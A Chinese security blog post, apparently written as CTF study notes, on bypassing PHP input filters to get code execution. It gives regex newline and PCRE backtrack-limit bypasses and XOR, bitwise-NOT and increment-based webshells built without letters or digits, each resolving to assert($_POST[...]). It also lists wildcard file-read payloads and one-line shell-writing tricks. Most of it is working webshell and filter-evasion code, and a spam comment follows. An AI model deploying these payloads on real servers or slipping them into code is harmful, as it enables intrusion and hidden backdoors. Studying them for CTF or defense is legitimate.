前言:

重新认知梳理一下知识,再打牢一下基础.,也方便以后复习

用了很多别的师傅总结过了的东西,我会附上链接,如有侵权什么的,请师傅们联系我删除,感谢师傅们QAQ

上次总结RCE的时候,还有一些别的情况没写,刚好就再写一篇总结一下,因为一些原因暑假没能去实习,希望下周hw顺利开始吧,再拖就开学了,希望能和别的师傅学到一些东西…..

学到新的姿势了就慢慢更新到这里。

奇奇怪怪的姿势增加了

p牛提到的小问题

正则中匹配行首行尾的问题

^   行首

$  行尾

\A  字符串开头

\Z  行尾(与$的作用是一样的)

\z  字符串结尾

把 ^   $  错当成字符串的开头和结尾时可以用换行绕过

最大回溯绕过

php pcre扩展中有关最大回溯的设置

默认回溯上线是10万,超过的话 preg_match 返回false

具体原理:https://www.freebuf.com/articles/web/190794.html

以一道ctf为例记录一下

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(!is_php($input)) {
    // fwrite($f, $input); ...
}

正则的规则是用来匹配<?开头 中间内容含有[(`;?>]这些字符,实质上是检查上传是否为一个php文件

绕过:让其超过最大回溯返回false

b'<?php eval($_POST['cmd']);//' + b'a' * 1000000

以前在绕sqlwaf时也用到过,在p牛的文章中也有提及

<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
}
UNION/*aaaaaaaa*/SELECT //10万个a以上充当垃圾数据
异或

绕过和写畸形马用到这个也非常多

异或的规则:

1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0

例如 ` 与  !异或得到 A

原因:

` ascii码:96  二进制 :   1100000
! ascii码:33  二进制:  0100001
A  ascii码:65  二进制:  1000001

参考p牛的马

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $_='_POST';
$___=$$__;
$_($___[_]); //assert($_POST[_]);

还可以利用urlencode+异或构造

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=  //${_GET}{%ff}();&%ff=
取反

两种情况

第一种就是普通的两个字符取反

第二种是p牛提出来的汉字和其他字符取反

p牛构造的绕过一句话

$__=('>'>'<')+('>'>'<');// $__=2  //利用弱类型 true+true==2  
$_=$__/$__; // $_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";
$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$___=_POST
$_=$$_____; //$_=$_POST
$____($_[$__]); //assert($_POST[2])

还可以用urlencode+取反

例如 命令 system(“cat flag”);

payload:(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98);

递增减运算符

这就是无字符马的构造原理,p牛提出

1.利用 ++  可使 ‘a’ ++ 得到'b'  所以通过++可以得到a-z  
2.利用  ++ 可使 'A' ++得到'B' 一样的可以得到A-B
3.利用数组(Array)获取到A与a,php中数组与字符串相运算会使数组转换为字符串也就是转换为 值为 Array的字符串

P牛的无字符马

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

短标签+通配符

膜一下byc师傅

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?> //?在linux下可以单字符匹配
/bin/cat /var/www/html/index.php

?也可以换成

[^x] 表示这个位置不是字符x
[0-9] 表示数字范围
[@-[]表示大写字母
比赛中写shell的几种形式
1.cmd=`$_GET[1]`;&1
2.cmd=include$_GET[1]; //需要开启include
3.$_GET[a](N,a,8);&a=file_put_contents
4.p牛提到在php5,6,可以利用func(...$arr)构造函数
cmd=usort(...$_GET);
get传参:1[]=test&1[]=phpinfo();&2=assert
原因:GET变量被展开成两个参数[‘test’, ‘phpinfo();’]和assert,传入usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();。修改phpinfo();为webshell即可
补充知识点:
$$${}能利用一个字符串创造出一个同名变量。变量名只能包含字母数字字符以及下划线;但是${}可以使得只包含数字,比如${1}。此时${1}就变成了一个变量 php7动态函数 ($a)();在上面异或取反的时候也用到了

参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanumadvanced.html

https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w

https://www.jianshu.com/p/8ba94b174348


1 条评论

Buy CBD · 2020年8月3日 上午3:55

Actually when someone doesn’t know after that its up to
other people that they will assist, so here it occurs.

Stop by my web site Buy CBD

发表评论

电子邮件地址不会被公开。 必填项已用*标注